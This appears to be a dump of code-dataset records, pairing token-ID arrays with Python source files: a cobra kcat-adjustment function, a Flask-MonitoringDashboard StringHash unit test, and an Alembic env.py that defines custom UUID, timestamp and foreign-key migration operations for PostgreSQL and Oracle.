[ 1, 9995, 3057, 278, 2967, 11109, 1213, 15945, 13, 13, 3166, 2959, 29889, 8030, 29879, 1053, 7605, 13, 13, 3166, 9557, 1053, 7190, 13, 3166, 9557, 1053, 1732, 13, 3166, 9557, 1053, 1243, 13, 3166, 9557, 29889, 5527, 29889, 26045, 1053, 3142, 13, 3166, 9557, 29889, 3221, 29889, 2271, 9778, 874, 1053, 11837, 13, 3166, 9557, 29889, 1688, 29889, 13239, 1053, 5712, 29918, 11027, 13, 3166, 9557, 29889, 13239, 1053, 4832, 13, 13, 5215, 11187, 13, 13, 13, 2271, 11037, 29879, 353, 518, 13, 1678, 3142, 29898, 13, 4706, 364, 29915, 29985, 1688, 29899, 2271, 13346, 742, 13, 4706, 11187, 29889, 18680, 3285, 13, 4706, 1024, 2433, 1688, 29918, 2271, 29915, 13, 1678, 10353, 13, 29962, 13, 13, 13, 29992, 15752, 29918, 11027, 29898, 21289, 29918, 4219, 6007, 29943, 2433, 21150, 29889, 1688, 29918, 8030, 29879, 1495, 13, 1990, 7605, 3057, 29898, 1688, 29889, 3057, 8259, 1125, 29871, 396, 694, 25621, 13, 1678, 9995, 3057, 1206, 363, 278, 7605, 11109, 1213, 15945, 13, 13, 1678, 822, 1243, 29918, 8030, 29918, 29878, 21043, 29918, 6194, 29918, 8391, 29918, 2541, 29918, 2271, 29898, 1311, 1125, 13, 4706, 9995, 14697, 393, 372, 2113, 29915, 29873, 4050, 443, 8391, 19995, 29892, 565, 2183, 263, 3142, 1213, 15945, 13, 4706, 770, 3812, 29898, 9514, 29889, 2500, 1125, 13, 9651, 1243, 353, 7190, 29889, 29620, 3073, 29898, 13, 18884, 19995, 11759, 29898, 29875, 29892, 525, 1643, 363, 1273, 29879, 29915, 1273, 474, 29897, 363, 474, 297, 3464, 29898, 29900, 29892, 29871, 29896, 29900, 29900, 29897, 1402, 13, 18884, 11109, 29922, 3549, 29898, 2271, 29922, 24244, 877, 1688, 29918, 2271, 8785, 13, 9651, 1723, 13, 13, 4706, 883, 353, 3812, 29898, 1124, 29889, 3010, 21533, 877, 1688, 29922, 29946, 8785, 13, 4706, 3806, 353, 14550, 13, 29966, 2622, 848, 29899, 6921, 8835, 29899, 4366, 29899, 2271, 13802, 1688, 29899, 2271, 12975, 1178, 543, 333, 29918, 1688, 29908, 1024, 543, 1688, 1013, 13, 29966, 3385, 995, 543, 29946, 29908, 4629, 543, 8391, 1013, 1643, 363, 29871, 29946, 829, 3385, 29958, 13, 829, 2622, 29958, 13, 4706, 6629, 4286, 17010, 580, 13, 13, 4706, 1583, 29889, 9294, 14776, 29898, 28319, 29889, 726, 29918, 1853, 29898, 689, 1839, 1688, 13359, 294, 29918, 8030, 25739, 3806, 29897, 13, 2 ]
autopacmen/submodules/apply_manual_changes.py
Paulocracy/autopacmen
5
123656
#!/usr/bin/env python3 # # Copyright 2019 PSB # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """appy_manual_changes.py Includes the function for the application of a manual kcat change of a sMOMENT-enhanced model. """ # IMPORTS # External modules import cobra from typing import Dict, Tuple, Union # PUBLIC FUNCTIONS def apply_manual_changes(model: cobra.Model, kcat_change_factors: Dict[str, Tuple[str, Union[float, int]]]) -> cobra.Model: """Applies the given kcat value changes. Arguments ---------- * model: cobra.Model ~ The model on which the manual changes shall be applied. * kcat_change_factors: Dict[str, Tuple[str, Union[float, int]]] ~ See the following example :-) Example of kcat_change_factors ---------- If the kcat of REAC1_TG_forward shall be lowered by the factor 10, and REAC2's kcat shall be 10 times higher (REAC2 is not splitted into a forward or reverse reaction): <pre> kcat_change_factors = { "REAC1": ("forward", 1/10), "REAC2": ("", 10) } </pre> Output ---------- The given cobra.Model with the given manual changes. """ # Get the protein pool metabolite, whose stoichiometry represents the MW/kcat value prot_pool_metabolite = model.metabolites.get_by_id("prot_pool") # Go through each reaction ID of the manuel changes :D for base_reaction_id in kcat_change_factors.keys(): change_tuple = kcat_change_factors[base_reaction_id] # Get the right reaction if a reaction direction is given direction = change_tuple[0] if direction != "": addition = "_TG_" + direction else: addition = "" searched_reaction_id = base_reaction_id + addition # Get the kcat change factor # Since the given manual changes are seen with respect to the kcat # and the protein pool emtabolite representes MW/kcat, the # change factor is 1/kcat_change_factor kcat_change_factor = change_tuple[1] stoichiometry_change_factor = 1 / kcat_change_factor # Calculate the new stoichiometries reaction = model.reactions.get_by_id(searched_reaction_id) current_stoichiometry = reaction.metabolites[prot_pool_metabolite] new_stoichiometry = current_stoichiometry * stoichiometry_change_factor # Apply the new stoichimetries :D change_dict = {prot_pool_metabolite: -current_stoichiometry} reaction.add_metabolites(change_dict) change_dict = {prot_pool_metabolite: new_stoichiometry} reaction.add_metabolites(change_dict) # Display the changes print(f"Manual change of {searched_reaction_id}'s kcat, change factor {kcat_change_factor}") # Return the changed model :-) return model
[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 29937, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29896, 29929, 349, 1744, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 15945, 29908, 14862, 29918, 11288, 29918, 25990, 29889, 2272, 13, 13, 797, 27722, 278, 740, 363, 278, 2280, 310, 263, 12219, 413, 4117, 1735, 13, 974, 263, 269, 29924, 6488, 3919, 29899, 264, 29308, 1904, 29889, 13, 15945, 29908, 13, 29937, 306, 3580, 8476, 29903, 13, 29937, 3985, 10585, 13, 5215, 274, 711, 336, 13, 3166, 19229, 1053, 360, 919, 29892, 12603, 552, 29892, 7761, 13, 13, 13, 29937, 349, 7466, 27888, 383, 28700, 29903, 13, 1753, 3394, 29918, 11288, 29918, 25990, 29898, 4299, 29901, 274, 711, 336, 29889, 3195, 29892, 413, 4117, 29918, 3167, 29918, 17028, 943, 29901, 360, 919, 29961, 710, 29892, 12603, 552, 29961, 710, 29892, 7761, 29961, 7411, 29892, 938, 5262, 2314, 1599, 274, 711, 336, 29889, 3195, 29901, 13, 1678, 9995, 2052, 3687, 278, 2183, 413, 4117, 995, 3620, 29889, 13, 13, 1678, 11842, 9331, 13, 1678, 448, 1378, 29899, 13, 1678, 334, 1904, 29901, 274, 711, 336, 29889, 3195, 3695, 450, 1904, 373, 607, 278, 12219, 3620, 4091, 367, 7436, 29889, 13, 1678, 334, 413, 4117, 29918, 3167, 29918, 17028, 943, 29901, 360, 919, 29961, 710, 29892, 12603, 552, 29961, 710, 29892, 7761, 29961, 7411, 29892, 938, 5262, 29962, 3695, 2823, 278, 1494, 1342, 15626, 13, 13, 1678, 8741, 310, 413, 4117, 29918, 3167, 29918, 17028, 943, 13, 1678, 448, 1378, 29899, 13, 1678, 960, 278, 413, 4117, 310, 5195, 2477, 29896, 29918, 29911, 29954, 29918, 11333, 4091, 367, 5224, 287, 491, 278, 7329, 29871, 29896, 29900, 29892, 322, 5195, 2477, 29906, 29915, 29879, 413, 4117, 13, 1678, 4091, 367, 29871, 29896, 29900, 3064, 6133, 313, 1525, 2477, 29906, 338, 451, 8536, 4430, 964, 263, 6375, 470, 11837, 19848, 1125, 13, 1678, 529, 1457, 29958, 13, 1678, 413, 4117, 29918, 3167, 29918, 17028, 943, 353, 426, 13, 4706, 376, 1525, 2477, 29896, 1115, 4852, 11333, 613, 29871, 29896, 29914, 29896, 29900, 511, 13, 4706, 376, 1525, 2477, 29906, 1115, 4852, 613, 29871, 29896, 29900, 29897, 13, 1678, 500, 13, 1678, 1533, 1457, 29958, 13, 13, 1678, 10604, 13, 1678, 448, 1378, 29899, 13, 1678, 450, 2183, 274, 711, 336, 29889, 3195, 411, 278, 2183, 12219, 3620, 29889, 13, 1678, 9995, 13, 1678, 396, 3617, 278, 26823, 11565, 1539, 19388, 568, 29892, 5069, 6258, 18544, 7843, 11524, 278, 341, 29956, 29914, 29895, 4117, 995, 13, 1678, 17512, 29918, 10109, 29918, 2527, 19388, 568, 353, 1904, 29889, 2527, 19388, 3246, 29889, 657, 29918, 1609, 29918, 333, 703, 771, 29873, 29918, 10109, 1159, 13, 1678, 396, 2921, 1549, 1269, 19848, 3553, 310, 278, 767, 2491, 3620, 584, 29928, 13, 1678, 363, 2967, 29918, 276, 2467, 29918, 333, 297, 413, 4117, 29918, 3167, 29918, 17028, 943, 29889, 8149, 7295, 13, 4706, 1735, 29918, 23583, 353, 413, 4117, 29918, 3167, 29918, 17028, 943, 29961, 3188, 29918, 276, 2467, 29918, 333, 29962, 13, 13, 4706, 396, 3617, 278, 1492, 19848, 565, 263, 19848, 5305, 338, 2183, 13, 4706, 5305, 353, 1735, 29918, 23583, 29961, 29900, 29962, 13, 4706, 565, 5305, 2804, 376, 1115, 13, 9651, 6124, 353, 11119, 29911, 29954, 27508, 718, 5305, 13, 4706, 1683, 29901, 13, 9651, 6124, 353, 5124, 13, 4706, 17371, 29918, 276, 2467, 29918, 333, 353, 2967, 29918, 276, 2467, 29918, 333, 718, 6124, 13, 13, 4706, 396, 3617, 278, 413, 4117, 1735, 7329, 13, 4706, 396, 4001, 278, 2183, 12219, 3620, 526, 3595, 411, 3390, 304, 278, 413, 4117, 13, 4706, 396, 322, 278, 26823, 11565, 953, 3891, 324, 568, 2755, 267, 341, 29956, 29914, 29895, 4117, 29892, 278, 13, 4706, 396, 1735, 7329, 338, 29871, 29896, 29914, 29895, 4117, 29918, 3167, 29918, 19790, 13, 4706, 413, 4117, 29918, 3167, 29918, 19790, 353, 1735, 29918, 23583, 29961, 29896, 29962, 13, 4706, 6258, 18544, 7843, 29918, 3167, 29918, 19790, 353, 29871, 29896, 847, 413, 4117, 29918, 3167, 29918, 19790, 13, 13, 4706, 396, 20535, 403, 278, 716, 6258, 18544, 3297, 2722, 13, 4706, 19848, 353, 1904, 29889, 5638, 1953, 29889, 657, 29918, 1609, 29918, 333, 29898, 4478, 287, 29918, 276, 2467, 29918, 333, 29897, 13, 4706, 1857, 29918, 7864, 18544, 7843, 353, 19848, 29889, 2527, 19388, 3246, 29961, 771, 29873, 29918, 10109, 29918, 2527, 19388, 568, 29962, 13, 4706, 716, 29918, 7864, 18544, 7843, 353, 1857, 29918, 7864, 18544, 7843, 334, 6258, 18544, 7843, 29918, 3167, 29918, 19790, 13, 13, 4706, 396, 2401, 368, 278, 716, 6258, 436, 17528, 2722, 584, 29928, 13, 4706, 1735, 29918, 8977, 353, 426, 771, 29873, 29918, 10109, 29918, 2527, 19388, 568, 29901, 448, 3784, 29918, 7864, 18544, 7843, 29913, 13, 4706, 19848, 29889, 1202, 29918, 2527, 19388, 3246, 29898, 3167, 29918, 8977, 29897, 13, 4706, 1735, 29918, 8977, 353, 426, 771, 29873, 29918, 10109, 29918, 2527, 19388, 568, 29901, 716, 29918, 7864, 18544, 7843, 29913, 13, 4706, 19848, 29889, 1202, 29918, 2527, 19388, 3246, 29898, 3167, 29918, 8977, 29897, 13, 13, 4706, 396, 17440, 278, 3620, 13, 4706, 1596, 29898, 29888, 29908, 2517, 950, 1735, 310, 426, 4478, 287, 29918, 276, 2467, 29918, 333, 10162, 29879, 413, 4117, 29892, 1735, 7329, 426, 29895, 4117, 29918, 3167, 29918, 19790, 27195, 13, 13, 1678, 396, 7106, 278, 3939, 1904, 15626, 13, 1678, 736, 1904, 13, 2 ]
flask_monitoringdashboard/test/core/profiler/util/test_stringhash.py
timgates42/Flask-MonitoringDashboard
3
9969
import unittest from flask_monitoringdashboard.core.profiler.util.stringHash import StringHash class TestStringHash(unittest.TestCase): def test_stringhash(self): string_hash = StringHash() self.assertEqual(string_hash.hash('abc'), 0) self.assertEqual(string_hash.hash('def'), 1) self.assertEqual(string_hash.hash('abc'), 0) def test_unhash(self): string_hash = StringHash() self.assertEqual(string_hash.unhash(string_hash.hash('abc')), 'abc') self.assertRaises(ValueError, string_hash.unhash, 'unknown')
[ 1, 1053, 443, 27958, 13, 13, 3166, 29784, 29918, 3712, 2105, 292, 14592, 3377, 29889, 3221, 29889, 771, 1777, 261, 29889, 4422, 29889, 1807, 10438, 1053, 1714, 10438, 13, 13, 13, 1990, 4321, 1231, 10438, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 1243, 29918, 1807, 8568, 29898, 1311, 1125, 13, 4706, 1347, 29918, 8568, 353, 1714, 10438, 580, 13, 13, 4706, 1583, 29889, 9294, 9843, 29898, 1807, 29918, 8568, 29889, 8568, 877, 10736, 5477, 29871, 29900, 29897, 13, 4706, 1583, 29889, 9294, 9843, 29898, 1807, 29918, 8568, 29889, 8568, 877, 1753, 5477, 29871, 29896, 29897, 13, 4706, 1583, 29889, 9294, 9843, 29898, 1807, 29918, 8568, 29889, 8568, 877, 10736, 5477, 29871, 29900, 29897, 13, 13, 1678, 822, 1243, 29918, 348, 8568, 29898, 1311, 1125, 13, 4706, 1347, 29918, 8568, 353, 1714, 10438, 580, 13, 4706, 1583, 29889, 9294, 9843, 29898, 1807, 29918, 8568, 29889, 348, 8568, 29898, 1807, 29918, 8568, 29889, 8568, 877, 10736, 1495, 511, 525, 10736, 1495, 13, 4706, 1583, 29889, 9294, 29934, 1759, 267, 29898, 1917, 2392, 29892, 1347, 29918, 8568, 29889, 348, 8568, 29892, 525, 26690, 1495, 13, 2 ]
database-sql/python-migrations/microweb/env.py
ultraschemer/microweb-sample
2
132885
from logging.config import fileConfig from sqlalchemy import engine_from_config from sqlalchemy import pool from alembic import context # To set register primary key operation: from alembic.operations import Operations, MigrateOperation import sqlalchemy as sa # Custom database types to support UUID: from sqlalchemy.dialects.oracle import RAW from sqlalchemy.dialects.postgresql import UUID # this is the Alembic Config object, which provides # access to the values within the .ini file in use. config = context.config # Interpret the config file for Python logging. # This line sets up loggers basically. fileConfig(config.config_file_name) # add your model's MetaData object here # for 'autogenerate' support # from myapp import mymodel # target_metadata = mymodel.Base.metadata target_metadata = None # other values from the config, defined by the needs of env.py, # can be acquired: # my_important_option = config.get_main_option("my_important_option") # ... etc. def uuid_generate_function(condition): if condition not in ['function', 'type']: raise Exception("UUID generator only support two options: " "'function' or 'type'") conn_uri = context.config.get_section_option('alembic', 'sqlalchemy.url') if conn_uri.startswith("postgresql"): if condition == 'type': return UUID else: return 'uuid_generate_v4()' elif conn_uri.startswith("oracle"): if condition == 'type': return RAW(16) else: return 'sys_guid()' else: raise Exception("Unsupported database. Currently only Oracle and " "PostgreSQL databases are supported.") context.uuid = uuid_generate_function @Operations.register_operation("set_identifiable") class SetIdentifiable(MigrateOperation): """Set UUID primary key in a given table.""" def __init__(self, table_name, **kw): self.table_name = table_name @classmethod def set_identifiable(cls, operations, table_name, **kw): """Set the primary key for a given table.""" op = SetIdentifiable(table_name, **kw) return operations.invoke(op) def reverse(self): return UnsetIdentifiable(self.table_name) @Operations.register_operation("unset_identifiable") class UnsetIdentifiable(MigrateOperation): """Unset UUID primary key in a given table.""" def __init__(self, table_name, **kw): self.table_name = table_name @classmethod def unset_identifiable(cls, operations, table_name, **kw): """Unset the primary key for a given table.""" op = UnsetIdentifiable(table_name, **kw) return operations.invoke(op) def reverse(self): return SetIdentifiable(self.table_name) @Operations.implementation_for(SetIdentifiable) def set_identifiable(operations, operation): conn_uri = context.config.get_section_option('alembic', 'sqlalchemy.url') # Add the custom primary key: if(conn_uri.startswith('postgresql')): operations.execute( "alter table %s " "add id uuid primary key " "default uuid_generate_v4()" % operation.table_name ) elif(conn_uri.startswith('oracle')): operations.execute( "alter table %s " "add id raw(16) default sys_guid() " "primary key" % operation.table_name ) else: raise Exception('Unsupported database - only Oracle and PostgreSQL are supported currently') @Operations.implementation_for(UnsetIdentifiable) def unset_identifiable(operations, operation): operations.drop_column(operation.table_name, 'id') @Operations.register_operation("set_createable") class SetCreateable(MigrateOperation): """Set creation date in a given table.""" def __init__(self, table_name, **kw): self.table_name = table_name @classmethod def set_createable(cls, operations, table_name, **kw): """Set the creation time for a given table.""" op = SetCreateable(table_name, **kw) return operations.invoke(op) def reverse(self): return UnsetCreateable(self.table_name) @Operations.register_operation("unset_createable") class UnsetCreateable(MigrateOperation): """Unset creation date in a given table.""" def __init__(self, table_name, **kw): self.table_name = table_name @classmethod def unset_createable(cls, operations, table_name, **kw): """Unset the creation time for a given table.""" op = UnsetCreateable(table_name, **kw) return operations.invoke(op) def reverse(self): return SetCreateable(self.table_name) @Operations.implementation_for(SetCreateable) def set_createable(operations, operation): operations.set_identifiable(operation.table_name) operations.add_column(operation.table_name, sa.Column('created_at', sa.types.TIMESTAMP(timezone=True), server_default=sa.func.now(), nullable=False)) @Operations.implementation_for(UnsetCreateable) def unset_createable(operations, operation): operations.drop_column(operation.table_name, 'created_at') operations.unset_identifiable(operation.table_name) @Operations.register_operation("set_timeable") class SetTimeable(MigrateOperation): """Set update date in a given table.""" def __init__(self, table_name, **kw): self.table_name = table_name @classmethod def set_timeable(cls, operations, table_name, **kw): """Set the update time for a given table.""" op = SetTimeable(table_name, **kw) return operations.invoke(op) def reverse(self): return UnsetTimeable(self.table_name) @Operations.register_operation("unset_timeable") class UnsetTimeable(MigrateOperation): """Unset update date in a given table.""" def __init__(self, table_name, **kw): self.table_name = table_name @classmethod def unset_timeable(cls, operations, table_name, **kw): """Unset the update time time for a given table.""" op = UnsetTimeable(table_name, **kw) return operations.invoke(op) def reverse(self): return UnsetCreateable(self.table_name) @Operations.implementation_for(SetTimeable) def set_timeable(operations, operation): operations.set_createable(operation.table_name) operations.add_column(operation.table_name, sa.Column('updated_at', sa.types.TIMESTAMP(timezone=True), server_default=sa.func.now(), nullable=False)) @Operations.implementation_for(UnsetTimeable) def unset_timeable(operations, operation): operations.drop_column(operation.table_name, 'updated_at') operations.unset_createable(operation.table_name) @Operations.register_operation("set_reference") class SetReference(MigrateOperation): """Set a foreign key based on the custom UUID fields""" def __init__(self, tn, f, rtn, rf='id', n=False, **kw): self.table_name = tn self.field = f self.referenced_table_name = rtn self.referenced_field = rf self.nullable = n @classmethod def set_reference(cls, operations, tn, f, rtn, rf='id', n=False, **kw): """Set the foreign key based in the custom UUID field""" op = SetReference(tn, f, rtn, rf, n, **kw) return operations.invoke(op) def reverse(self): return UnsetReference(self.table_name, self.field, self.referenced_table_name, self.referenced_field, self.nullable) @Operations.register_operation("unset_reference") class UnsetReference(MigrateOperation): """Reverse operation to set_reference. A simple column drop can be used too.""" def __init__(self, tn, f, rtn, rf='id', n=False, **kw): self.table_name = tn self.field = f self.referenced_table_name = rtn self.referenced_field = rf self.nullable = n @classmethod def unset_reference(cls, operations, tn, f, rtn, rf='id', n=False, **kw): """Drop the referenced column.""" op = UnsetReference(tn, f, rtn, rf, n, **kw) return operations.invoke(op) def reverse(self): return SetReference(self.table_name, self.field, self.referenced_table_name, self.referenced_field, self.nullable) @Operations.implementation_for(SetReference) def set_reference(operations, operation): conn_uri = context.config.get_section_option('alembic', 'sqlalchemy.url') n = "null" if operation.nullable else "not null" # Add the custom primary key: if(conn_uri.startswith('postgresql')): operations.execute( "alter table %s " "add %s uuid %s " "references %s(%s)" % (operation.table_name, operation.field, n, operation.referenced_table_name, operation.referenced_field) ) elif(conn_uri.startswith('oracle')): operations.execute( "alter table %s " "add %s raw(16) %s " "references %s(%s) " % (operation.table_name, operation.field, n, operation.referenced_table_name, operation.referenced_field) ) else: raise Exception("Unsupported database - only Oracle and " "PostgreSQL are supported currently") @Operations.implementation_for(UnsetReference) def unset_reference(operations, operation): operations.drop_column(operation.table_name, operation.field) def run_migrations_offline(): """Run migrations in 'offline' mode. This configures the context with just a URL and not an Engine, though an Engine is acceptable here as well. By skipping the Engine creation we don't even need a DBAPI to be available. Calls to context.execute() here emit the given string to the script output. """ url = config.get_main_option("sqlalchemy.url") context.configure( url=url, target_metadata=target_metadata, literal_binds=True, dialect_opts={"paramstyle": "named"}, ) with context.begin_transaction(): context.run_migrations() def run_migrations_online(): """Run migrations in 'online' mode. In this scenario we need to set an Engine and associate a connection with the context. """ connectable = engine_from_config( config.get_section(config.config_ini_section), prefix="sqlalchemy.", poolclass=pool.NullPool, ) with connectable.connect() as connection: context.configure( connection=connection, target_metadata=target_metadata ) with context.begin_transaction(): context.run_migrations() if context.is_offline_mode(): run_migrations_offline() else: run_migrations_online()
[ 1, 515, 12183, 29889, 2917, 1053, 934, 3991, 13, 13, 3166, 4576, 284, 305, 6764, 1053, 6012, 29918, 3166, 29918, 2917, 13, 3166, 4576, 284, 305, 6764, 1053, 11565, 13, 13, 3166, 20712, 29890, 293, 1053, 3030, 13, 13, 29937, 1763, 731, 6036, 7601, 1820, 5858, 29901, 13, 3166, 20712, 29890, 293, 29889, 3372, 800, 1053, 6607, 800, 29892, 341, 4481, 403, 10925, 13, 13, 5215, 4576, 284, 305, 6764, 408, 872, 13, 13, 29937, 8701, 2566, 4072, 304, 2304, 501, 11150, 29901, 13, 3166, 4576, 284, 305, 6764, 29889, 15321, 781, 29879, 29889, 11347, 1053, 18865, 29956, 13, 3166, 4576, 284, 305, 6764, 29889, 15321, 781, 29879, 29889, 29272, 1053, 501, 11150, 13, 13, 29937, 445, 338, 278, 319, 2409, 29890, 293, 12782, 1203, 29892, 607, 8128, 13, 29937, 2130, 304, 278, 1819, 2629, 278, 869, 2172, 934, 297, 671, 29889, 13, 2917, 353, 3030, 29889, 2917, 13, 13, 29937, 4124, 19819, 278, 2295, 934, 363, 5132, 12183, 29889, 13, 29937, 910, 1196, 6166, 701, 1480, 5743, 8830, 29889, 13, 1445, 3991, 29898, 2917, 29889, 2917, 29918, 1445, 29918, 978, 29897, 13, 13, 29937, 788, 596, 1904, 29915, 29879, 20553, 1469, 1203, 1244, 13, 29937, 363, 525, 1300, 468, 759, 403, 29915, 2304, 13, 29937, 515, 590, 932, 1053, 590, 4299, 13, 29937, 3646, 29918, 19635, 353, 590, 4299, 29889, 5160, 29889, 19635, 13, 5182, 29918, 19635, 353, 6213, 13, 13, 29937, 916, 1819, 515, 278, 2295, 29892, 3342, 491, 278, 4225, 310, 8829, 29889, 2272, 29892, 13, 29937, 508, 367, 16692, 29901, 13, 29937, 590, 29918, 17001, 29918, 3385, 353, 2295, 29889, 657, 29918, 3396, 29918, 3385, 703, 1357, 29918, 17001, 29918, 3385, 1159, 13, 29937, 2023, 2992, 29889, 13, 13, 1753, 318, 5416, 29918, 17158, 29918, 2220, 29898, 16122, 1125, 13, 1678, 565, 4195, 451, 297, 6024, 2220, 742, 525, 1853, 2033, 29901, 13, 4706, 12020, 8960, 703, 29965, 11150, 15299, 871, 2304, 1023, 3987, 29901, 376, 13, 18884, 13577, 2220, 29915, 470, 525, 1853, 29915, 1159, 13, 1678, 11009, 29918, 5338, 353, 3030, 29889, 2917, 29889, 657, 29918, 2042, 29918, 3385, 877, 744, 8337, 293, 742, 525, 2850, 284, 305, 6764, 29889, 2271, 1495, 13, 1678, 565, 11009, 29918, 5338, 29889, 27382, 2541, 703, 29272, 29908, 1125, 13, 4706, 565, 4195, 1275, 525, 1853, 2396, 13, 9651, 736, 501, 11150, 13, 4706, 1683, 29901, 13, 9651, 736, 525, 25118, 29918, 17158, 29918, 29894, 29946, 580, 29915, 13, 1678, 25342, 11009, 29918, 5338, 29889, 27382, 2541, 703, 11347, 29908, 1125, 13, 4706, 565, 4195, 1275, 525, 1853, 2396, 13, 9651, 736, 18865, 29956, 29898, 29896, 29953, 29897, 13, 4706, 1683, 29901, 13, 9651, 736, 525, 9675, 29918, 2543, 333, 580, 29915, 13, 1678, 1683, 29901, 13, 4706, 12020, 8960, 703, 25807, 29884, 3016, 287, 2566, 29889, 15447, 871, 15401, 322, 376, 13, 18884, 376, 6747, 7979, 4176, 21218, 526, 6969, 23157, 13, 13, 4703, 29889, 25118, 353, 318, 5416, 29918, 17158, 29918, 2220, 13, 13, 29992, 7094, 800, 29889, 9573, 29918, 16453, 703, 842, 29918, 1693, 28677, 1159, 13, 1990, 3789, 7648, 28677, 29898, 29924, 4481, 403, 10925, 1125, 13, 1678, 9995, 2697, 501, 11150, 7601, 1820, 297, 263, 2183, 1591, 1213, 15945, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1591, 29918, 978, 29892, 3579, 11022, 1125, 13, 4706, 1583, 29889, 2371, 29918, 978, 353, 1591, 29918, 978, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 731, 29918, 1693, 28677, 29898, 25932, 29892, 6931, 29892, 1591, 29918, 978, 29892, 3579, 11022, 1125, 13, 4706, 9995, 2697, 278, 7601, 1820, 363, 263, 2183, 1591, 1213, 15945, 13, 4706, 1015, 353, 3789, 7648, 28677, 29898, 2371, 29918, 978, 29892, 3579, 11022, 29897, 13, 4706, 736, 6931, 29889, 9772, 29898, 459, 29897, 13, 268, 13, 1678, 822, 11837, 29898, 1311, 1125, 13, 4706, 736, 853, 842, 7648, 28677, 29898, 1311, 29889, 2371, 29918, 978, 29897, 13, 13, 29992, 7094, 800, 29889, 9573, 29918, 16453, 703, 348, 842, 29918, 1693, 28677, 1159, 13, 1990, 853, 842, 7648, 28677, 29898, 29924, 4481, 403, 10925, 1125, 13, 1678, 9995, 2525, 842, 501, 11150, 7601, 1820, 297, 263, 2183, 1591, 1213, 15945, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1591, 29918, 978, 29892, 3579, 11022, 1125, 13, 4706, 1583, 29889, 2371, 29918, 978, 353, 1591, 29918, 978, 13, 268, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 443, 842, 29918, 1693, 28677, 29898, 25932, 29892, 6931, 29892, 1591, 29918, 978, 29892, 3579, 11022, 1125, 13, 4706, 9995, 2525, 842, 278, 7601, 1820, 363, 263, 2183, 1591, 1213, 15945, 13, 4706, 1015, 353, 853, 842, 7648, 28677, 29898, 2371, 29918, 978, 29892, 3579, 11022, 29897, 13, 4706, 736, 6931, 29889, 9772, 29898, 459, 29897, 13, 268, 13, 1678, 822, 11837, 29898, 1311, 1125, 13, 4706, 736, 3789, 7648, 28677, 29898, 1311, 29889, 2371, 29918, 978, 29897, 13, 13, 29992, 7094, 800, 29889, 21382, 29918, 1454, 29898, 2697, 7648, 28677, 29897, 13, 1753, 731, 29918, 1693, 28677, 29898, 3372, 800, 29892, 5858, 1125, 13, 1678, 11009, 29918, 5338, 353, 3030, 29889, 2917, 29889, 657, 29918, 2042, 29918, 3385, 877, 744, 8337, 293, 742, 525, 2850, 284, 305, 6764, 29889, 2271, 1495, 13, 268, 13, 1678, 396, 3462, 278, 2888, 7601, 1820, 29901, 13, 1678, 565, 29898, 13082, 29918, 5338, 29889, 27382, 2541, 877, 29272, 8785, 29901, 13, 4706, 6931, 29889, 7978, 29898, 13, 9651, 376, 13794, 1591, 1273, 29879, 376, 13, 9651, 376, 1202, 1178, 318, 5416, 7601, 1820, 376, 13, 9651, 376, 4381, 318, 5416, 29918, 17158, 29918, 29894, 29946, 25318, 1273, 5858, 29889, 2371, 29918, 978, 13, 9651, 1723, 13, 1678, 25342, 29898, 13082, 29918, 5338, 29889, 27382, 2541, 877, 11347, 8785, 29901, 13, 4706, 6931, 29889, 7978, 29898, 13, 9651, 376, 13794, 1591, 1273, 29879, 376, 13, 9651, 376, 1202, 1178, 10650, 29898, 29896, 29953, 29897, 2322, 10876, 29918, 2543, 333, 580, 376, 13, 9651, 376, 16072, 1820, 29908, 1273, 5858, 29889, 2371, 29918, 978, 13, 9651, 1723, 13, 1678, 1683, 29901, 13, 4706, 12020, 8960, 877, 25807, 29884, 3016, 287, 2566, 448, 871, 15401, 322, 4918, 7979, 4176, 526, 6969, 5279, 1495, 13, 13, 29992, 7094, 800, 29889, 21382, 29918, 1454, 29898, 2525, 842, 7648, 28677, 29897, 13, 1753, 443, 842, 29918, 1693, 28677, 29898, 3372, 800, 29892, 5858, 1125, 13, 1678, 6931, 29889, 8865, 29918, 4914, 29898, 16453, 29889, 2371, 29918, 978, 29892, 525, 333, 1495, 13, 13, 29992, 7094, 800, 29889, 9573, 29918, 16453, 703, 842, 29918, 3258, 519, 1159, 13, 1990, 3789, 4391, 519, 29898, 29924, 4481, 403, 10925, 1125, 13, 1678, 9995, 2697, 11265, 2635, 297, 263, 2183, 1591, 1213, 15945, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1591, 29918, 978, 29892, 3579, 11022, 1125, 13, 4706, 1583, 29889, 2371, 29918, 978, 353, 1591, 29918, 978, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 731, 29918, 3258, 519, 29898, 25932, 29892, 6931, 29892, 1591, 29918, 978, 